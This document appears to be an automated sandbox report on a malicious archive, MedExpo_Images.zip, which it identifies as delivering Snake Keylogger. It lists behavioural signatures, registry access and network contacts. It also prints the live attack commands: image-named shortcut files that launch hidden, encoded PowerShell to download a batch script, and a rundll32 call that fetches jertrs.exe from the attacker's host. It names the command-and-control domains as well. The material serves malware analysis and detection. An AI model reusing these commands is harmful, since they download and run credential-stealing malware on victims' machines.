Analysis Overview
SHA256
e17379b6d33d27a7f34ca65076488e87d70d9a9754c6c555becb8c58a23dac81
Threat Level: Known bad
The file MedExpo_Images.zip was found to be: Known bad.
Malicious Activity Summary
Snake Keylogger payload
Snake Keylogger
Blocklisted process makes network request
Downloads MZ/PE file
Reads user/profile data of local email clients
Reads user/profile data of web browsers
Checks computer location settings
Executes dropped EXE
Accesses Microsoft Outlook profiles
Looks up external IP address via web service
Suspicious use of SetThreadContext
Enumerates physical storage devices
Uses Task Scheduler COM API
Uses Volume Shadow Copy service COM API
Modifies registry class
Kills process with taskkill
Suspicious use of WriteProcessMemory
Modifies Internet Explorer settings
Uses Volume Shadow Copy WMI provider
Suspicious use of AdjustPrivilegeToken
outlook_win_path
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
Delays execution with timeout.exe
Suspicious behavior: MapViewOfSection
Suspicious use of SetWindowsHookEx
outlook_office_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-01-31 08:13
Signatures
Analysis: behavioral5
Detonation Overview
Submitted
2024-01-31 08:13
Reported
2024-01-31 08:16
Platform
win7-20231215-en
Max time kernel
122s
Max time network
125s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1240 wrote to memory of 2940 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 1240 wrote to memory of 2940 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 1240 wrote to memory of 2940 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2940 wrote to memory of 3012 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2940 wrote to memory of 3012 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2940 wrote to memory of 3012 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Photo02.jpg.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" CMd /C PoWERSHEll.Exe -ex BYPASS -nOP -W HidDen -eC IAAgAGkAbgBWAE8ASwBFAC0AdwBlAEIAcgBlAHEAVQBFAHMAdAAgAAkALQBVAHIASQAgAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAtAG8AdQB0AEYAaQBsAGUAIAAJAB0gJABFAE4AVgA6AHQAZQBtAHAAXABqAHIAYgBiAHMAZgByAC4AYgBhAHQAHSAgAAkAOwAgACAAaQBOAHYATwBLAEUALQBJAHQAZQBNACAACQAdICQAZQBOAFYAOgB0AGUATQBQAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWERSHEll.Exe -ex BYPASS -nOP -W HidDen -eC IAAgAGkAbgBWAE8ASwBFAC0AdwBlAEIAcgBlAHEAVQBFAHMAdAAgAAkALQBVAHIASQAgAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAtAG8AdQB0AEYAaQBsAGUAIAAJAB0gJABFAE4AVgA6AHQAZQBtAHAAXABqAHIAYgBiAHMAZgByAC4AYgBhAHQAHSAgAAkAOwAgACAAaQBOAHYATwBLAEUALQBJAHQAZQBNACAACQAdICQAZQBOAFYAOgB0AGUATQBQAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
Network
Files
memory/3012-40-0x000000001B3F0000-0x000000001B6D2000-memory.dmp
memory/3012-41-0x0000000002490000-0x0000000002498000-memory.dmp
memory/3012-42-0x000007FEF6090000-0x000007FEF6A2D000-memory.dmp
memory/3012-43-0x00000000024C0000-0x0000000002540000-memory.dmp
memory/3012-45-0x00000000024C0000-0x0000000002540000-memory.dmp
memory/3012-44-0x000007FEF6090000-0x000007FEF6A2D000-memory.dmp
memory/3012-46-0x00000000024C0000-0x0000000002540000-memory.dmp
memory/3012-47-0x00000000024C0000-0x0000000002540000-memory.dmp
memory/3012-48-0x000007FEF6090000-0x000007FEF6A2D000-memory.dmp
Analysis: behavioral6
Detonation Overview
Submitted
2024-01-31 08:13
Reported
2024-01-31 08:16
Platform
win10v2004-20231215-en
Max time kernel
142s
Max time network
154s
Command Line
Signatures
Snake Keylogger
Snake Keylogger payload
| Description | Indicator | Process | Target |
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Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe | N/A |
Reads user/profile data of local email clients
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4064 set thread context of 2448 | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe |
Enumerates physical storage devices
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" | C:\Windows\system32\rundll32.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\MuiCache | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200" | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix | C:\Windows\system32\rundll32.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Photo02.jpg.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" CMd /C PoWERSHEll.Exe -ex BYPASS -nOP -W HidDen -eC IAAgAGkAbgBWAE8ASwBFAC0AdwBlAEIAcgBlAHEAVQBFAHMAdAAgAAkALQBVAHIASQAgAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAtAG8AdQB0AEYAaQBsAGUAIAAJAB0gJABFAE4AVgA6AHQAZQBtAHAAXABqAHIAYgBiAHMAZgByAC4AYgBhAHQAHSAgAAkAOwAgACAAaQBOAHYATwBLAEUALQBJAHQAZQBNACAACQAdICQAZQBOAFYAOgB0AGUATQBQAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWERSHEll.Exe -ex BYPASS -nOP -W HidDen -eC IAAgAGkAbgBWAE8ASwBFAC0AdwBlAEIAcgBlAHEAVQBFAHMAdAAgAAkALQBVAHIASQAgAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAtAG8AdQB0AEYAaQBsAGUAIAAJAB0gJABFAE4AVgA6AHQAZQBtAHAAXABqAHIAYgBiAHMAZgByAC4AYgBhAHQAHSAgAAkAOwAgACAAaQBOAHYATwBLAEUALQBJAHQAZQBNACAACQAdICQAZQBOAFYAOgB0AGUATQBQAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat" "
C:\Windows\system32\DeviceCredentialDeployment.exe
DEVIcECRedentIALdEPLOymEnt
C:\Windows\system32\rundll32.exe
RUNDll32 inEtcpL.CPl , ClearMyTracksByProcess 8
C:\Windows\system32\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT
C:\Windows\system32\rundll32.exe
rundLl32 C:\Windows\sYStEm32\SHiMGVW.dLl , ImageView_FullscreenA http://vybsnf3.sa.com/jertrs.exe
C:\Windows\system32\DeviceCredentialDeployment.exe
dEvicEcredeNTiAldEPlOYMeNT
C:\Windows\system32\timeout.exe
timEout /T 7 /nObREAK
C:\Windows\system32\taskkill.exe
TAskkilL.Exe /F /Im rUNdlL32.exE
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c DIr C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\ /s /B
C:\Windows\system32\conhost.exe
CoNhOsT C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe
C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe
C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | vybsnf3.sa.com | udp |
| US | 172.93.120.190:80 | vybsnf3.sa.com | tcp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 189.178.17.96.in-addr.arpa | udp |
| US | 20.231.121.79:80 | tcp | |
| US | 8.8.8.8:53 | 190.120.93.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 172.93.120.190:80 | vybsnf3.sa.com | tcp |
| US | 8.8.8.8:53 | 81.171.91.138.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| US | 158.101.44.242:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 242.44.101.158.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | varders.kozow.com | udp |
| FR | 51.38.247.67:8081 | varders.kozow.com | tcp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | aborters.duckdns.org | udp |
| NL | 91.92.255.235:8081 | aborters.duckdns.org | tcp |
| US | 8.8.8.8:53 | 235.255.92.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 177.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.239.69.13.in-addr.arpa | udp |
Files
memory/448-0-0x00000210EB470000-0x00000210EB492000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_syecztnn.ftz.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/448-10-0x00007FF8516D0000-0x00007FF852191000-memory.dmp
memory/448-11-0x00000210E8CA0000-0x00000210E8CB0000-memory.dmp
memory/448-12-0x00000210E8CA0000-0x00000210E8CB0000-memory.dmp
memory/448-13-0x00000210E8CA0000-0x00000210E8CB0000-memory.dmp
memory/448-19-0x00007FF8516D0000-0x00007FF852191000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat
| MD5 | 885e4bf9c36d1964f751bca33e898503 |
| SHA1 | 4055100dda8ee3845cfda6735900c556d8c19ca1 |
| SHA256 | 5efe4bb30df918412651e2060b234aac78f108793c2a25500aca8488ada3ab2a |
| SHA512 | 5da165cb4571777b53fbf324dabd63e73b7af94a88d0b08da8a0d28db1f6b947ad41494331be734836d2b5cb7ef090f1eed1e73b8ed9deb2fb9a37c4873691e3 |
C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT
| MD5 | 39aceb0c8a015a4e8f66498e03ff16db |
| SHA1 | 4707695dece3a70bfbe55868d059a22e4325eaf0 |
| SHA256 | 7eec1caeee2e9781635bc00daf1c0dbf98ec325625776afc4fb621e2eabd4527 |
| SHA512 | 0cc87584d277036c2f94f25484beeb60b07adcb1ccc90b6ddfc1e6521944c35f87cc2c9f15a2b2b453a1cd8e9c0c16ade7d6ceb4f6b082c4be6f8d1aaf8a53dc |
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\J6M39GIU\jertrs[1].exe
| MD5 | b07832ec5f73ae5f2888ebab2aa5283a |
| SHA1 | cb11a9e432df439fde94b6a3b3677d0112cac3c5 |
| SHA256 | dc613f5e91169b3744adfc0f6c968e3501c4bc1221ce12bdaa948ce9e5a1da21 |
| SHA512 | 7a3233303f57b57e72eaabd792796339611daa39bea2279ff1879a2728afc3b6cbb25cb9b66f96f86deda3aa7fda95cab07f0a549981dddbbb4f71c25132da15 |
memory/4064-31-0x0000000077562000-0x0000000077563000-memory.dmp
memory/4064-33-0x0000000002330000-0x0000000002331000-memory.dmp
memory/4064-36-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-41-0x00000000751B0000-0x000000007530D000-memory.dmp
memory/4064-42-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-43-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4064-44-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-45-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-46-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-48-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-50-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-52-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-54-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-58-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-56-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4064-60-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4064-63-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-65-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-66-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-68-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4064-69-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-70-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-72-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-62-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-75-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4064-74-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/4064-76-0x0000000002370000-0x0000000002378000-memory.dmp
memory/4064-77-0x00000000007B0000-0x00000000008B0000-memory.dmp
memory/2448-78-0x0000000000400000-0x000000000042B000-memory.dmp
memory/4064-79-0x0000000000400000-0x000000000054B000-memory.dmp
memory/4064-81-0x00000000751B0000-0x000000007530D000-memory.dmp
memory/4064-83-0x0000000002370000-0x0000000002378000-memory.dmp
memory/2448-84-0x0000000000ED0000-0x0000000000ED1000-memory.dmp
memory/2448-82-0x0000000077562000-0x0000000077563000-memory.dmp
memory/2448-85-0x0000000000400000-0x0000000000426000-memory.dmp
memory/2448-86-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/2448-87-0x0000000005980000-0x0000000005F24000-memory.dmp
memory/2448-88-0x0000000005470000-0x000000000550C000-memory.dmp
memory/2448-89-0x00000000057C0000-0x00000000057D0000-memory.dmp
memory/2448-90-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/2448-91-0x00000000057C0000-0x00000000057D0000-memory.dmp
memory/2448-92-0x0000000006740000-0x0000000006790000-memory.dmp
memory/2448-93-0x0000000006960000-0x0000000006B22000-memory.dmp
memory/2448-94-0x0000000006830000-0x00000000068C2000-memory.dmp
memory/2448-95-0x00000000067C0000-0x00000000067CA000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-01-31 08:13
Reported
2024-01-31 08:16
Platform
win7-20231215-en
Max time kernel
120s
Max time network
120s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2652 wrote to memory of 2768 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2652 wrote to memory of 2768 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2652 wrote to memory of 2768 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2768 wrote to memory of 2720 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2768 wrote to memory of 2720 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2768 wrote to memory of 2720 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Image012.png.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" Cmd /C pOwerShEll.eXe -EX bYPASs -NOp -W hiDDEN -eC IABpAG4AVgBPAGsARQAtAFcARQBCAHIAZQBxAFUARQBTAFQAIAAJAC0AVQBSAEkAIAAJAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAJAC0AbwBVAHQARgBpAEwARQAgAAkAHSAkAEUAbgBWADoAVABlAE0AUABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAACQA7ACAASQBOAFYAbwBrAGUALQBpAFQARQBtACAACQAdICQARQBOAHYAOgB0AEUAbQBwAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOwerShEll.eXe -EX bYPASs -NOp -W hiDDEN -eC IABpAG4AVgBPAGsARQAtAFcARQBCAHIAZQBxAFUARQBTAFQAIAAJAC0AVQBSAEkAIAAJAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAJAC0AbwBVAHQARgBpAEwARQAgAAkAHSAkAEUAbgBWADoAVABlAE0AUABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAACQA7ACAASQBOAFYAbwBrAGUALQBpAFQARQBtACAACQAdICQARQBOAHYAOgB0AEUAbQBwAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
Network
Files
memory/2720-40-0x000000001B8D0000-0x000000001BBB2000-memory.dmp
memory/2720-41-0x0000000001D80000-0x0000000001D88000-memory.dmp
memory/2720-42-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp
memory/2720-43-0x0000000002EF0000-0x0000000002F70000-memory.dmp
memory/2720-44-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp
memory/2720-47-0x0000000002EF0000-0x0000000002F70000-memory.dmp
memory/2720-46-0x0000000002EF0000-0x0000000002F70000-memory.dmp
memory/2720-45-0x0000000002EF0000-0x0000000002F70000-memory.dmp
